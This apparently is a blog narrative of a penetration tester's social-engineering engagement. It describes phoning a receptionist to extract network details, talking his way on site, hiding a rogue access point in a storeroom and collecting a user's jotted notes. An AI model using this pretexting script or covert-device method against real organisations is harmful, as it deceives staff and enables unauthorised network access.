Now it seems as though I'm doing her the favour, so of course she'll let me.

"Oh that would be great, what do you need to know?"
"It will only take a second, If I can I just check which PC you have, If you click on the Start Button, and then click Run. In the box type "
cmd" and click OK"
"Right. I know have a black screen."

"That's fine. Just type "
ipconfig /all"
"Oh, I have loads of gobbledygook"

"That's fine, what does it say next to
IP Address?"
"192.168.1.61"

"and next to default gateway?"

"192.168.1.1"
"and next to DNS server"
"192.168.1.80"

"No that's not it. Whats the very top line?
"
"Host Name. That says Reception"

"That's the one, great. can you press the up arrow key and put a greater than sign and C:\ip.txt on the end and press enter"
"nothing happened"

"OK, that's fine. Thanks for your help. you can close that screen now. Speak later."

"OK, bye"



We'll that was a 3 minutes well spent. aren't receptionists just so helpful, she has no idea how valuable the information she just gave me is. Now I have some great information about the network and I'm expected on site. I also know that the receptionist can write to the C:\ drive so she is probably a local admin on her PC. It looks as though I wont need the visitor pass that I previously acquired after all.


As I arrive at the targets site about 30 minutes later, a very helpful receptionist issues me with another visitor pass and tells me to call James. I call a friend who is expecting my call and the thread of the conversation goes along the line of me dropping the box off and checking a few serial numbers on printers. Karen points me in the right direction for the copier room and I waste no time in finding somewhere to plant my Evil AP.

Ideally I want a messy corner near the south side of the building so I can get to the AP from the car park. After a few minutes I find the perfect place, the obligatory dumping ground that most offices have. As long as I can find a live network point then I'll be a happy little hacker. An extra box wont draw any attention I'm sure.





I find a live point amongst the mess and I get wired up and I check my network settings.

dhclient eth0

ifconfig

I get an IP Address on the internal network straight away. I conceal the hacktop inside a plain box and shove it to the back of a few other boxes so it's well out of site. Ideally I want to compromise another host on the network and get a connection out as I may lose this AP if there is a powercut, or if someone discovers it or just moves it and I lose the network connection. I have a few ideas how to go about it but I need to tread carefully.

As I'm still in the office and no one is around I take a look about. Although I see no PC's at desks to play with I do have a scout around looking for notes stuck to desks and I do manage to find some scribbled stuff on a desk jot pad. I guess It's just some user that has made notes whilst they have been on the phone or something. I find a few letters laying around and I see they are all addressed to the same person, Tom Fitzy, so I'm guessing it's Tom who has been doing the scribbling. It's pretty amazing the things that people will write down on those big desktop blotter jot pads. I take a photo of the pad and move on.

Just before I leave I print off a few test pages and config pages from a couple of printers that I pass and fold them up and pocket them. After all, having a little more detail on the network devices doesn't hurt does it.

I decide I don't want to push my luck and leave. At the car park I check that I can see my Evil AP before I go get some well earned lunch.



Perfect.

I grab some lunch and get home. I'm keen to let Hackers On Site know that I have achieved my objective of getting a foothold on the LAN of Scanned4U.

Source : synjunkie.blogspot.com

+++

Share |

"make something then You never be lost"

wibiya widget